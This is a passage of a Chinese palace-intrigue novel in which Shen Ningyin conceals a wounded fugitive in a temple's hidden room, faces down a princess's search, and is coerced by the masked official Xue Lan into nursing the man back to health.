昭王也有犹豫。事涉昌平侯府，牵扯着皇城司，女方又是沈侍郎的女儿。桩桩件件，与其自个儿去掺和和不如卖个人情，给昌平王府透个风好。
可旁边一直冷冷淡淡的清河郡主笑不出来了。她阴冷着目光转向昭王：“殿下，左右也没甚好逛的，不如去瞧瞧。”
“这。”昭王有犹豫。
清河却是伸手挽住了他的胳膊：“走吧。”
一行人往那古旧的阁楼去时，沈夫人心都要凉了。
“母亲，你担心什么？”沈弦思还不知自己闯了多大的祸。沈夫人指甲都要掐进肉里了。
黑漆漆的密室里，就连气孔都很隐蔽，隐蔽到偌大的空间内灯火可见范围也极有限。
沈宁音一面检查受伤之人的伤势，一面同他说着话。
些许基本情况她是大约知晓了，男人名叫许冠生。沈宁音细细回想了一下，有些耳熟，却想不太起来。
大约是自己听过，但不重要的人了。
长期的疼痛让许冠生已经有些麻木，也将他害得十分虚弱。但许冠生看向她的目光却隐约可见的精神。
沈宁音被他瞧得有些不自在，终于问出了口：“怎么了？”
“在下只是好奇姑娘的身份。”
“……”沈宁音沉默。
许冠生意识到自己说错话，连忙解释：“姑娘别误会，只是这等要紧的地方，薛大人从不曾允许旁人接触。所以，姑娘能完好地在此，大人对你应该是十分信任的。”
许冠生说得十分认真，沈宁音却是心下自嘲，她哪里是因为被信任？不过是百密一疏算漏了一个薛岚会在，才不得不被裹挟进来的。
“许大人说笑了，薛大人不过是见我细致，才让我来帮忙的。”
许冠生蹙眉摇头，一时半刻却提不出什么反驳的话，突然开口道：“我觉着姑娘的眼睛，在下似乎在何处见过……”
秦耀阳先前就曾荒唐地寻了个笑起来神似周婉的梁玉霜，沈宁音没想到许冠生伤成这样竟也说出这样的话来。
她不爱听这个。
沈宁音笑了笑，转头看向黑暗：“怎么还不回来。都这么久了……”
这时，沈宁音听见细微的响声。她连忙循着声音迎上去。
柜门往两边打开，男人走了进来。
阁楼门外，昭王在门口站定。沈夫人脸色苍白，想上前阻止。没料想清河郡主举步上前亲手将门推了开去。
屋子里安安静静的，各处书架、井然有序，桌案上文房四宝摆得齐全。
清河郡主皱了皱眉，第一个走了进去，昭王想叫住她，奈何她提着裙摆走得快，一阵风似的。
昭王宠溺地摇了摇头，冲沈夫人道：“清河就是这性子。”
沈夫人有些心不在焉。
“给我搜！”清河有骄纵的资本，连说话都是傲然的，得了她的吩咐，奴才们便麻利地分散开去。
清河转头睨着沈弦思：“你确信在这儿的，是戴面具的那位薛大人？”
“是！”沈弦思用力点头：“臣女确定与他私会的是我二姐沈宁音！”
清河满脸阴沉，她并不在乎在此与薛岚幽会的是谁，她都要那女人死！
昭王此刻也在里头四处打量。
寒山寺清幽，皇族尚佛，所以宗室们偶尔也会过来听禅。他便是纡尊降贵陪着准王妃过来的。
不多时，昭王目光扫过了一个摆件，那是一只仙鹤荷花雕塑的摆件，白玉材质，不算名贵，只是略嫌粗糙。他素来不喜欢这等带有颗粒感的材质，不由得伸手摸了上去。
再看时，发现那材质上仿佛有一层薄薄的浸透在材质里的暗红。
昭王眉头微微蹙起。
“郡主。”恰此时，上楼的仆从跑了下来。昭王下意识地松开雕塑，全副意识都转向了那仆人。
“楼上有人！”仆从讨好地笑着邀功。
清河郡主艳丽的眉眼染着冷意。她往楼梯望过去的时候，楼上的人已经下来了。
沈宁音轻移莲步，仪态端方。款款从木质楼梯上往下走。
昭王一时看愣了神。
这时，清河郡主咬牙切齿，嗓音里带着怨毒：“你好大的胆子！”
沈夫人整个人都不好了，惨白的脸色，连额头的汗都是冰凉的。想是容易想，可真正叫人
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将沈宁音捉奸，所有的后果和影响，却一股脑地浮上心头。
她感觉脑仁儿好疼。
偏这个时候沈弦思当着这么多贵人的面，竟上前去现眼，沈弦思指着沈宁音的鼻子：“姐姐，你好不要脸！姐夫那么疼你，你竟做出这等丑事来！”
沈弦思满脸的幸灾乐祸，语速极快，沈夫人就算想拦着也没来得及，她只觉得脑子一阵阵发晕。
“来人！还不把这狐媚子捉起来，送去昌平侯府发落！”清河郡主死死想压抑住内心的愤怒，可就算语气压住了，眼神却压抑不住。
“慢着！”沈宁音大喝。
“你做出这样不要脸的事，竟还敢反抗？！”清河郡主上前两步：“都给本郡主上！”
但清河郡主再如何尊贵，现场也到底不是她的一言堂。
沈宁音的身份在那，堂堂昌平侯府的少夫人，毫无证据之下说抓就抓，连昭王都做不出这等武断之事。
昭王不发话，扈从们也都没动。
沈宁音手扶着楼梯扶手，表情淡淡的：“妾身不懂郡主的意思。”她不慌不忙：“妾身在此只是抄经。”
“所谓捉贼拿脏，捉奸捉双。那些污人清白的话可不能乱讲的！”
清河郡主看向一旁的沈弦思。
“抄经？！”沈弦思冷笑：“你抄的是什么经？我亲眼看见有男人从这儿出去。”
昭王的人将才已经把这院子四下里团团围住，将才也没人能出去，沈弦思这才敢说得这么笃定。
“奸夫若不在四周的廊庑和明堂，就定是在这座阁楼之上。”
清河郡主听罢，就定要叫人去搜查。她将将吩咐下去，却听昭王蹙眉说了句：“够了。”
昭王能陪着清河郡主胡闹，但要当真论起来，昌平侯府掌控军权，这么多人跟前戳破开去，就着实不智。
儿女情长之事，做一做表面功夫，再甚至纵着女人稍稍过分一些。若不留余地，得不偿失的。
“表哥！”清河郡主生气了。
昭王走到她面前，严肃着脸面：“这事儿便是真的，也该适可而止了。”
看她倔强，昭王蹙眉：“清河。”
清河郡主没有错过男人眼底的愠怒，昭王表哥素来是疼爱她的，概因清河郡主虽骄纵，可大部分时候都知道轻重。
闹得再凶，但凡他当真生气，清河郡主也得服软的。
此时此刻，她也知道再闹下去是不成了，表哥不会允许。
她段段不能因为此事而动摇了自己将来在王府里的地位。
“好。”清河郡主恶狠狠看了沈宁音一眼。今儿是过去了，可她在心里狠狠给沈宁音记了一笔。只等着将来要她好看！
眼瞧着清河郡主有退让的趋势，沈夫人大大松了口气，而沈宁音再如何不甘，也只能眼睁睁地放弃了。
正当这个时候，沈宁音却是微微一笑，侧身让开了路：“殿下、郡主，不妨事，妾身自从来这儿抄经，便不曾见过旁人，也不是我那妹妹怎么就臆想出一个人来。”
“不如搜一艘看。”
33. 疑心
整座阁楼足有三层高，而正常情况下顶楼是隐秘的所在，寻常禅院内，没有禅师的允许是断断不可能容人侵入的。
沈宁音这个答应可是有讲究的。
不搜，清河郡主不甘心，要搜，是要得罪禅师。
所以原本占据着主动的清河郡主，在她这四两拨千斤的言语之下，竟被动起来。
清河郡主哪里是那种能忍的？支使不动昭王的扈从，她便提起裙摆要自己去。
“清河。”昭王不得不出声提醒，语气里染着严肃。
清河郡主见他蹙眉，此刻也是血气上涌，不管不顾地往上走。
沈宁音也不拦着，特特往靠墙的那一边站。
清河郡主可不是善茬。
前世，她入京迟些，但就算迟，也听闻过这位昭王妃的奇事。她与昭王算是自小认识，因着少年夫妻的情分在，所以无妨做出多么骄纵荒唐的事情，昭王都会包容一二。
可是她后来被幽禁北山，永不得回。至于原因，除了她打掉东宫妾室的胎儿以及意图谋杀几位姬妾之事外。
好像还牵扯上倾慕一位外臣，爱而不得。
沈宁音看着她此刻瞥向自己的轻蔑怨毒表情，一时间心情复杂。
爱情真不是个好东西。这样好的出身，这样好的生活，怎么就过成了那样糟心的日子呢？
前世，昭王动了杀心。最后还是她抱着长公主的灵位说动了太后出面才堪堪保住了性命。
沈宁音很恭敬，清河郡主咬牙切齿地错过她往上走。
这时，楼下有人用力推开了门。
众人尽都回头，清河郡主也低头看过去。
来人宣了一句佛号，原来是心正禅师回来了，他的目光首先便落在了最上面的清河身上：“郡主，还请下楼。”
“凭什么？！”清河郡主攥紧了袖子。
按着佛寺里的规矩，就算是清河郡主想上楼也得阁楼主人的允许或者陪同，这是历代圣人对高僧的特批。
但规矩是规矩，清河这样的人，若想强行上楼，一心修佛的心正禅师却也拦不住。
沈宁音为了安全起见，心正禅师一进来，她就已经下楼去了。
清河郡主站在阶梯上并不打算下去，人就是这样，旁人越不让，她便会越觉着有鬼，就越想上去看。
心正禅师沧桑的眉宇蹙起：“施主当真想搜？”
“是！”清河郡主毫不掩饰。
昭王想打圆场，可自己的准王妃这次如此咄咄逼人，他再要叫心正禅师莫往心里去，那可就是不识好歹了。
就在众人以为这心正禅师会发火要昭王将人带下来时，老禅师却是点了个弟子：“空台，你领郡主上去看吧，莫叫人弄坏了三楼的东西。”
很快一个小沙弥便恭恭敬敬地行了一礼上楼去了。
清河郡主也不推脱，竟真转身跟着走。
沈宁音微微闭眼，思忖着如何把人先撵出去，这阁楼，似乎秘密不少。
楼下大厅的统统都各怀心思，沈宁音蓦然听见那锦衣华服的昭王开口：“禅师。”
心正禅师抬右手在胸口行礼：“殿下请说。”
昭王忽然伸手指向那个白玉做的仙鹤荷花雕塑：“这雕塑还挺别致的。”
沈宁音一看见那雕塑，蓦然心中吃了一惊。
先前她没怎么注意，只觉着似乎雕塑有哪里不妥。
而今下细去瞧，却是发现，雕塑除了不太惹人关注的朝向问题，还有那些暗红。
很薄的一层，可白玉太白了，玉石又不是下细打磨过的，所以下细看，还是能看出些不同来。
昭王脸上带着笑：“清河喜欢莲花，这摆件又是佛寺里的，想来沾惹了不少福气，不知本网可否捐些香油钱将它请回去。”
“这……”饶是心正禅师佛法高深、也很会演，可人在猝不及防的情况下，也是无法将那些拒绝的借口编得顺理成章的。
昭王显然没料到心正会犹豫，而旁人也是一样。
所有人此刻都看向了禅师与昭王两人。
“禅师，这雕塑可是有什么特别的意义？”昭王不由自主地又看了过去。
沈宁音看得出来，心正禅师的神色有异。但他极少见外人，为数不多的出面又都是绷着一张脸，所以寻常人也只会觉着他是天生不爱笑，素来就这么严肃的。
“实不相瞒，这玉质不过是粗坯打磨的，太过粗陋，怎敢慢待了王爷？”
“本王不嫌弃。”昭王倒是笑得和煦，他缓步往那摆件走去，边走边道：“本王看这玉质极其少见，质地倒不像是寻常白玉。”
昭王抬手正要去摸。此时此刻，心正禅师手里的佛珠拨得变快了。
“殿下。”
昭王忽听得一阵温婉动人的嗓音从身后传来。
他诧异转眸，鼻间有浅淡的香风浮动，眼前便出现了方才在阁楼上下来的那位秦家少夫人沈氏。
沈宁音戴着面纱，惹眼红唇被纱一覆，若隐若现的，再配上那双善睐的秋水翦瞳，竟让他顿住。
女人的手握着那白玉雕塑，眼眸带笑：“这是血玉。”
她说完，叹了口气，略微惋惜道：“可惜，杂质太多，不然的话，也不会被打磨成这样。”
昭王忽而意识到大庭广众，轻咳了一声：“哦？”
他看着美人漂亮白皙的青葱玉指，眼神暗了暗，目光又落回了那个白玉雕塑：“既如此，那本王，倒是真得好生把玩把玩才是。”
“殿下。”心正禅师已然走到了近前：“您若当真想要，老衲处还有几尊玉石佛像，不如，您带回去供奉？”
昭王蹙了蹙眉，维持着好耐心：“禅师，不必麻烦，本王就要这一个便好。”
心正禅师不说话了。
旁人离得远倒不觉着，可沈宁音很近，她几乎能感受到眼前僵住的尴尬来。
两个呼吸后，心正禅师开口打算再劝说，他眼底有一丝为不可查的无奈与决绝。
“其实。”开口的却是沈宁音，她再次抬手抓着那白玉雕塑，苦笑道：“这个东西根本就拿不下来。”
昭王惊了，在场众人也惊了。
心正禅师涵养好，就仿佛不动了一般，瞧
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不出表情。
穿堂的风一吹，禅师的胡须卷动，昭王，沈宁音等人都没说话。
倒是沈弦思抱臂皱着眉四下打量了一圈：“嘶……这风怎么突然变冷了？”
沈夫人也觉着冷，但权贵人家要体面，更不似沈弦思这般商户养出来的跳脱性子。沈夫人凝眉看了沈弦思一眼：“入了秋，这样的天气，风冷一些也是再正常不过的。”
她们的小话并不大声，但因着安静，却也叫所有人听着了。
沈宁音没管，她攥紧白玉雕塑的同时伸手隐晦地拉了心正禅师一下，笑着打圆场：“昭王殿下不知，心正禅师是顾及您殿下的面子，才提给您更好的佛像。”
“殿下应该瞧出来了，这是个机关。”
沈宁音并非无的放矢。她虽不知昭王缘何会这般执着，但这个东西连她自个儿都能发现端倪，昭王此等被圣人养出来的继承人三番两次观察之下，又岂会毫无所觉？
被看破不过是时间问题。
果然，沈宁音此话一出口，其他人的脸色都变了，唯独昭王，一双多情的桃花眼玩味又好兴致地落在沈宁音脸上。
昭王看出来了，而且倘使沈宁音不说破，他便有强行令人勘察的打算。
沈宁音察言观色之下，明白只是这么句说辞，定不能打消昭王的疑虑。
她索性故作轻松地看向心正禅师：“禅师，有什么好保密的？”
“我方才都瞧见了，这后头有个密室。”
心正禅师看向她的眼睛，沈宁音的神色十分真诚，朝他点点头。
“不如打开让殿下瞧瞧？”
沈宁音话罢，等待着心正的抉择。
她与心正今生今世并无任何交集，他未必会信自己，但沈宁音神色如常，就好像这件事真的只是个小事一般。
沈宁音以为自己大约会等许久，正琢磨着如何不着痕迹地催促对方。
“好，那就劳烦沈施主了。”心正禅师开口了。
更令沈宁音觉着纳罕的是，心正的语气好像就突然轻松起来。
来不及等沈宁音细想，她迅速拧动那个白玉雕塑。
熟悉的机关转动的“咔嗒”声里，书柜在所有人眼中向着两边分了开去。
沈宁音往后退了两步，将整个密室入口展现了出来。
外头的光线并不亮堂。可密室里头，阴冷的空气涌了出来，比风更冷。
黑洞洞的入口就像是暗夜一般，除了临近外面的部分之外几乎全都是黑的！
沈弦思等人几乎是望而生畏。
“什么味道？”沈夫人皱眉的同时，她身边的沈弦思已经捂着鼻子后退了几步了。
“好浓啊！”
所有人都往后面走了一两步。
只有沈宁音和心正禅师稳稳当当的站在门口。
“这个，我就不多嘴了，还是让心正禅师来说吧。”沈宁音恭敬的退开。
这种时候，让她来说，必定是越描越黑不可为人所信的。
昭王这样的多疑之人，肯定会起疑心。
若然他派人去看……
34. 第 34 章
心正禅师也不推辞淡定道：“此乃我院落内用以储存香料的地方。”
昭王蹙眉，自有扈从上前询问：“存放香料为何还需专程弄个密室？”
昭王在一旁看着，也并未阻拦，很显然，这也是他的意思。
“这个，妾身倒是知道一二。”沈宁音便抬手指着那黑漆漆的密室微笑：“除了需要密封保存之外，名贵的材料也要避光。”
“正是如此。”心正禅师捋着胡须颔首。
昭王对于香道并不在行，其他人也是如此，而且沈宁音提出来的，也不算是完全没有逻辑。
昭王在沉默之后蓦然笑得和善，假意呵斥了一句手下人没规矩，这事儿便揭过去了。
香料的味道太浓，浓到了极致就是熏，就是臭，这样“致死”度的气味，里头就不可能有活人。
在场众人，包括昭王在看见心正禅师把那密室关起来的瞬间，都不由自主松了口气。
仆从们马上打开窗户透气。
这时，楼上突然传来快步的脚步声。沈宁音当下不禁捏紧了裙裾。
“怎么回事？”昭王看见清河跑下来时，蹙紧了眉头：“可是楼上发现了什么？”
昭王说着话时，目光是看向心正禅师的。
只是老禅师定力十足，面容平静，看不出什么情绪。
清河郡主愣了一下：“没。”她转眸盯着门口。
下一瞬门就被推开了。
沈宁音循声望过去，惊讶地看见一名戴着面具的高大男子走了进来。
男子身后跟着几个皇城司的人。
“原来是薛大人。”昭王笑着寒暄，薛岚却是不答话，径直往四周去搜。
热脸贴了冷屁股，昭王碰上软钉子。沈宁音很轻易就看出昭王脸色难看。
不过他并未再留，而是拉着清河郡主就走。
清河郡主从薛岚进来的那一刻起似乎想说话，但男人不理她。昭王一走，她也没了留下的理由。
毕竟闹了这一出，心正禅师未必待见。
沈夫人要拉着沈弦思走，沈弦思十分委屈，红着眼睛盯着沈宁音：“沈宁音，你明明就在勾引男人！”她又看向薛岚：“还有你！你就是奸夫！”
薛岚握着刀柄的手一紧。
沈夫人被沈弦思的口无遮拦几乎吓得魂飞魄散，连忙去捂着她的嘴：“薛大人，她知道什么？妾身回去一定好好管教她。”
就在薛岚作势要拔刀之际，沈弦思到底是害怕了，沈夫人一拽，她便也跟着一起走了。
很快，门口的人清净了，两个皇城司之人到门外守着，又闩上了门。
直到此刻，沈宁音才突然有种被抽空了力气的感觉。
她刚坐下。
楼上便有人走下阶梯来了，沈宁音瞳孔一缩，竟又看着了一个戴着面具的薛岚。
楼上的薛岚居高临下看了过来。
将才事情紧急，再加上没有任何对比之下，沈宁音还没有直观的感觉，此刻真假两位皇城司使司站在一处，她几乎是瞬间就判断出来了真假。
站在下面的“薛岚”取下了面具：“大人。”
面具下是一张沈宁音没见过的脸，但依着两人熟稔、并且能模仿得惟妙惟肖的情况看，应该是皇城司的人，并且跟随薛岚的时间不短。
薛岚微微颔首，走了过来。心正一改在外公正不阿十分严肃的大禅师形象，两步上前，关切地开口：“你没事吧？”
薛岚摇摇头：“没。”
依旧是言简意赅。
沈宁音一早就猜到薛岩跟心正有渊源，而薛岚是薛岩最疼的儿子，所以此刻她看见这场景，根本没有任何诧异。
“大人，这女人怎么处置。”
冷不丁的，那位亲信拔出了刀。
那冷飕飕的杀意叫旁观的沈宁音心底一惊。但她并没有表现出来。
在场三人的目光齐刷刷地落到沈宁音脸上。
眼瞧着那人脚尖移动，已经准备动手。沈宁音也准备好，但凡有什么变故，她就要扑到老禅师的背后去。
刚刚自己那么卖力帮忙遮掩，就是为着此刻得一个活命的承诺。
不过，老禅师的人情没用上，沈宁音倒是先等来了惜字如金的薛岚开口：“跟我来。”
听着他低沉的嗓音，亲信愣住了，就连一旁的心正都有些诧异。
薛岚踏上台阶，微微偏头。
面具下的表情沈宁音是瞧不见的，但她莫名就是知道他不耐烦的情绪。
回过神的沈宁音抓着裙摆连忙跟了上去。
薛岚走得很快，就连爬坡都是这么地快。沈宁音膝盖的淤青还没好，这梯子不久前迫不得已刚爬过，这会儿再爬时，酸痛感和着过去的记忆简直像是在对她下很猛的那种降头。
刚爬到第二层，沈宁音已然累得趴在扶手上喘气。
今生不比前世硬朗。
那时候在冷家，沈宁音要管的事情很多很多，偏偏冷家人人都是会惹事的主。她要操持家里，还要应付冷元景，更得上心夫君房里的一群小妾，和小妾的孩子。
事事离不得。
可现在，她还只是刚出嫁的女儿，顶多只是为着当初要入东宫而学了一年的射艺罢了。
沈宁音掏出帕子，手有些抖，冷不丁帕子也没捏稳。
下一瞬间，一只手掌稳稳当当捏住了那张帕子。
沈宁音蓦然抬头，这才后知后觉的发现那态度冷淡眼神凶戾的公事大人就站在自己跟前。
薛岚面具下的眼睛盯着那帕子看，不知在想些什么。
女子私物，尤其手帕这等东西，必是贴身放着的，藏在衣服里，脂香粉溢，给陌生男子拿了去，足叫人羞臊。
沈宁音两辈子加起来也没将自个儿正用着的手帕给人碰过，当下本能地觉着心脏快了几分。
她抬手要抓回来，还没伸到，男人已经抬手将帕子按上她的额头。
隔着帕子，感觉不到指腹的粗粝，却能感受到他陌生的温度。
沈宁音莫名觉着烫。烫得连耳朵都热起来。
“我自己来。”她抬手，被薛岚躲过去。男人的眼神很凶，像是在看个死物。
沈宁音不敢动了，乖乖让男人擦汗。她这会儿思忖，这薛大
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人是个公公，就算有那心，也没那能力，她怕个什么？
薛岚擦得认真细致，擦完，将帕子塞回她手里。动作略粗鲁。
沈宁音愣住，这感觉怎么像极了自己刚刚是尊落了灰的花瓶子。
“还能走？”薛岚嘴唇里挤出三个字。
“能。”沈宁音收好帕子，点点头。然后她扶着扶手往上挪。
她挪了两个呼吸，薛岚就看了两个呼吸。
沈宁音忽然感觉到天旋地转，等反应过来后才发现自个儿被他扛了起来。
“你！”她瞪大了眼睛，失态地抬手拍打：“放我下来！”
很丢脸。
可是男人冷冰冰的话传到耳朵：“闭嘴！再吵把你从窗户扔下去。”
沈宁音不敢闹了。
薛岚健步如飞，将人扛上三楼也不过几个呼吸的时间。
沈宁音被扔到了椅子上，她心里狠狠给这人又记了一笔。
忘恩负义！她方才这样尽心替他遮掩，他竟这般对自己。
薛岚查看了一下床上的许冠生，连个正眼也没给沈宁音。
很快，一条布巾扔到了沈宁音怀里，薛岚居高临下盯着她的眼睛：“别浪费时间。”
沈宁音正想说句话，后脖颈的衣裳已被他揪住，薛岚直接将她推到了床边。
这等行径叫沈宁音心中火起，她是自愿帮忙不假，可薛岚凭什么这般对自己？莫不是将自己当做了软柿子？！
她救他出狱、帮他遮掩，没想到遇着个狼心狗肺的！
沈宁音越想越气，但低头看见床上血人似的许冠生，到底是深吸一口气先忍了下来。
她拿起一旁的小刀，和着温水先帮昏过去的许冠生清理伤口。
这伤口大部分已经结痂，几乎与布料粘连在一起，硬扯的话便要撕下来大片的皮肉，沈宁音看着都觉着痛。
手下人跟着他竟遭遇这等惨无人道之事，沈宁音又在心中暗暗腹诽了薛岚一句。
足足过去了三个时辰。
亲信忙前忙后更换血水。
沈宁音终于将许冠生的伤裹好。
她满脸疲惫地在一旁洗手时，正遇着薛岚照看完许冠生出来。
沈宁音直起腰，转身看向他。
前世的时候，沈宁音曾跟着冷元景去外地为官，冷元景虽然有那么多的兄弟，各个都在图谋他的资源，可沈宁音嫁过去后才知，这男人的那些富贵公子哥儿的坏毛病一样都不少。
遇着事情习惯性逃避，能破财免事儿的，都情愿花银子，也不会管家里有没有银子。
在那些清贫地方做官做政绩的年月，什么事情落到最后，都是沈宁音去给解决的。
穷山恶水出刁民，辖区范围内多的是山匪刁民劫掠，沈宁音的包扎技术，那是从一次次亲自的实践里练出来的。
不夸张的说，就算是跟坐堂的郎中相比，沈宁音也有信心赢下几分。
果然，本就话少的薛岚并未有什么不满的。
但他没有不满，沈宁音早就憋着许多不满了。她当下冷了脸色：“怎么了？大人这是还有什么话说？”
35. 救人
薛岚看着她。
冰冷的面具遮掩着，看不出情绪，只是露在外面的那双眼睛带着不知所起的冷冽之色。
沈宁音都要气笑了：“大人，妾身费心帮您，倒是帮来帮去帮成了仇？”她目下依旧能保持寻常的神色也全靠着前世对薛岩的忌惮。
若换一个人，她早就发作了。
薛岚冷着脸看了她良久，突然冒出两个字：“虚伪。”
虚伪？是在说她？！沈宁音瞠目。
薛岚转身绕过她，走路带起的风竟叫人心烦意乱，鬼使神差的，沈宁音一把抓住了男人的胳膊。
薛岚身上的肌肉明显地僵了一下。
上京城的贵女们，尤其是文臣家的嫡女，大多都是内敛的，再加上薛岚的凶戾恣睢诨名在外，现在的薛岚，即便是清河郡主，也不敢随意拉扯。
但沈宁音此刻脑子里的火气蹭蹭向上，哪里管的了这许多：“我自问并无得罪你之处，大人何故处处针锋？”
薛岚转过身，一把搡开她的手。
力道之下，沈宁音后退了两三步，后腰径直撞在了桌沿，疼得她红了眼眶。
她素来能忍，故尔闷哼一声之后便连眼泪都一并忍了下来。
“许家，家破人亡。”薛岚盯着沈宁音的眼睛，一步一步逼近。他垂下的眸光，冷得像冰，更像一把锋刃直直朝着沈宁音剜去。
“！”沈宁音震惊莫名，男人此刻的那种压迫感，仿佛随时能将人吞噬的冰冷黑洞。
“你以为冠英为何会落到如此地步？”
“你以为是谁害他躺在这里苟延残喘？”
“是你。”
他声音带着微微的沙哑，每说一句，便踏前一步。
沈宁音被逼到角落，想要从旁边躲开，一只手掌就按在她身后的墙壁上。
“我不知道。”沈宁音脑子有些乱，她隐约猜到了。
“你不必抵赖。”没有什么是诏狱里问不出来的，除非对方是个死人。薛岚还没用刑，便从青衣胡同问到了许冠生逆贼消息的来源。
沈宁音不蠢，这些天做过什么，一一排查下来，也只剩这一条。
她当时便觉着许冠生这名字怎生叫人耳熟，如今一琢磨，沈宁音终于记起来——
这不就是前世乱党中最大的几个中枢之一么？他出身名门，祖上都是忠烈之士。却是伪朝残存下来的拥趸。
陈大人抓的乱党就是这许冠生，也是沈宁音当时开出去交换薛岚的最大筹码。
沈宁音此时此刻的心情复杂极了。她深吸一口气：“我那时，只是为救你。”
“救我？”薛岚冷笑。
沈宁音捏着裙裾，凝眉：“是，我也是为救公爹。”
“你若不能出诏狱，侯爷便也回不来，我需要达到目的，而手里正好有牌，为何不能打出去？”
沈宁音没办法告诉他的是，自己之所以选择许冠生，是因为，在前世，就算自己不告发，那许冠生也躲不掉的，他会在一个月之后被当场格杀，许家满门尽屠。
而他兴许，早就暴露了。
沈宁音知道自己大约也借不着薛岚的东风了，索性便也说些自己想说的、薛岚不爱听的话。
“我劝你不要惹祸上身，许家早就被盯上了。”
沈宁音这句话语气很淡，很笃定，没有懊悔，冷血无情。这出乎了薛岚的所有预料。
他一时没说话。
“你不必这般看着我。”说开了之后，沈宁音倒是轻松了了不少，她理了理衣袖，垂眸：“我就是这般女子。”
“你知不知道你自己是怎么死的？”沈宁音微笑着看向薛岚：“对外人再狠有何难，难的，是对自己人心狠。”
做不到，便会功败垂成。
薛岚沉默着，就像是座风中的雕塑，半晌，才开口：“那又如何？”
“砌辞狡辩。”男人微眯着眼：“你还想再害他一回？”
沈宁音扫了薛岚一眼：“人是你从上京城偷出来的，该烦恼的是你才对。”
“我与此事再没了瓜葛，也没那个闲心做个恶人。”
薛岚一把捏住了沈宁音的脖子。
他的力道本就惊人，更不知轻重，就算收着力，沈宁音也觉着脖颈痛极，像要断掉一般。
疼痛夹杂着窒息的感觉喜上心头，沈宁音奋力抓着他的虎口。
“你已经作恶，便别想袖手旁观！许家之事，你须负责到底！”
沈宁音感觉快要喘不上气了，可细嫩的脖子被薛岚掐着，根本使不上力，连点头都做不到。
就在她觉着自己要死了的时候，终于听见薛岚冷声开口：“救人之事，答应，就眨眼。”
沈宁音视野模糊，艰难地眨了一下眼。
薛岚松手之际，她整个人跌坐在了地上，空气刹那间灌入肺部，沈宁音剧烈地咳嗽着，生理性的眼泪止不住地往下流。
日头西斜。
沈宁音方回到厢房歇息。
也不知薛岚用了什么方法，总之没多久皇城司的人便被他带了回去。
寒山寺很快就恢复了平静，这件事雷声大雨点小，不两日就恍若没发生过一般。
只是，沈宁音隔三差五就会去心正禅师的阁楼里头“抄经”，实则是去给他疗伤。
许冠生的身份敏感，非但不能请外头的郎中，便是寺里的也不行。
沈宁音考虑过找柳郎中来，但人家一个告老的太医，委实没有必要拿着脑袋陪着她冒险。
而且，许冠生的身份暴露提前了一个月。
沈宁音猜测，大约是因着这个，皇城司的人尚未很好的收网，他这才得了一线生机。
但知道归知道，沈宁音原就是利用了许冠生，去照看他的伤势倒也没有怨言。
只是，那伤势实在严峻，到第三日，他就快要不行了。
一路照看下来，沈宁音内心是不愿他就此殒命的。可理性上讲，死无对证，对薛岚来说才是最好。
已经暴露的棋子便废掉了。
她犹豫着。
“如何？”心正禅师询问时，沈宁音的思绪从纷乱里收回。
她听见自己说：“去找薛岚。他能救许大人。”
沈宁音说出口的时候连她自己都感觉惊讶。心软不智，这是最不该有的。会要命的。
“好。”心正的声音飘散在空中。
那日下了暴雨，夜晚的冷
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雨比前两日的还大。
窗外的闪电将疯狂摇曳的树影吹得恍若鬼魅。
许冠生发着高烧，满嘴的燎泡，絮絮念着一个人的名字。
沈宁音坐在一旁照看，为着保密，也为着安全，此事连染竹跟兰香她都没告诉。
一直到半夜，床上的人已经烧到了气息灼热，连胡言乱语都微乎其微，沈宁音刚拧好的帕子搭上去，很快便温热起来。
她转眸又看了一眼窗子，外头的影子晃动着，雨势极大。
沈宁音忽然有点觉着悲哀。许冠生是个好人，一心为国，前世没有死在战场，却惨死于圣人手里。
而今，明明有了一线生机，却连老天都不肯帮他。
这样大的雨，山路艰难，薛岚怕是不会过来了。自己这一整日的照看与揪心，到底成了个空。
她叹了口气。
最后一次，将温热的帕子从男人的额头取下来。
只能放弃了。
沈宁音站起身，正要去端盆子。忽然听见“砰”的一声。
楼下的门被大力踢开了。
她意识到什么，连忙放下东西往楼下去。
没下半楼阶梯，迎面冲上来一个黑影，她看着那黑影，黑影摔在了地上。
只有一声很轻的闷哼，男人的面具也摔在了地上。
沈宁音只是愣了半个呼吸，她连忙冲上前将人扶起来：“薛大人！”
薛岚看着她。
一道闪电划过，光芒在黑暗中瞬间照耀得十分清晰。
沈宁音瞠大眼睛看过去，清楚的看见男人整张脸上都是伤痕，疤痕很新，并不是那种陈年旧疤。
沈宁音想要再看清楚时，闪电结束，而下一次闪电亮起来时，男人已经起身，面具重新戴上了。
“冠生怎么样？”他声音带着喘，还有急促。
沈宁音没有耽搁：“药呢？”
“带了。”是男人低沉的嗓音。
“嗯。”沈宁音简明扼要。
这种时候，不需要更多的交流，所有的一切都是为了救命。
薛岚快步走上去。
路上留下了一长串水渍。
天亮的时候。
外头的雨也停了。沈宁音有些昏昏欲睡。她已经守了许冠生太久。
她彻底熬不住了。
不知不觉，她就真的睡着。
醒来的时候，只听见隐隐约约的声音。
皱着眉，沈宁音觉着眼皮子有点重，还觉着自己的眼睛有些疼。
她本能地抬手揉了揉。
可下一瞬，忽然感觉到身上布料滑落的触感。沈宁音低头看过去。
发现身上披着的，是一件大氅。材质十分名贵，名贵到她就算在前世也没见识过的地步。
这种认知将她一下子刺激得睡意全无。
抬手，指尖抚摸上那料子，暖和，舒服，不是寻常裘皮。
她脑子里又乱糟糟起来。
正思忖着，冷不丁看见有人从外头走了进来。
“醒了？”男人的声音有些嘶哑，但是很柔和。
沈宁音愣住了。
她抬头看过去的时候眼睛都正大了了！
36. 接人
沈宁音一下子站了起来。起得有点猛了，眼前一黑。
秦耀阳连忙把手一伸，将人搂住了。
两人离得近，沈宁音身上略僵。秦耀阳表情亦有几分尴尬，立马松开了她。
片刻的慌乱之后，沈宁音抬起脸，已然恢复了冷静。妙目瞧着秦耀阳，笑容很浅：“世子怎么过来了？”
沈宁音其实不必问也能知道，依着秦耀阳的性子，上次她没给面子之后，秦耀阳是绝无可能自己乐意过来的。
这必是老夫人的意思。
秦耀阳轻咳了一下，打量沈宁音，目光在她眼底的青色上梭巡，男人原本带着的不耐也渐渐染了抹疼惜：“我方才去厢房，下人说你在阁楼抄经。”
沈宁音低着眸，袖子里的指尖攥紧，面上却不露分毫：“我还没抄完，世子倒来得早。”
话罢，她转身要走。
沈宁音并不清楚许冠生去了哪儿，但既然薛岚在，这人素来谨慎，必不会留下明显的破绽。可与秦耀阳一道留在这儿也必定是不妥当的。
秦耀阳连忙拦住她：“宁音！还没气过么？”
沈宁音顿住脚步，抬眸看他。
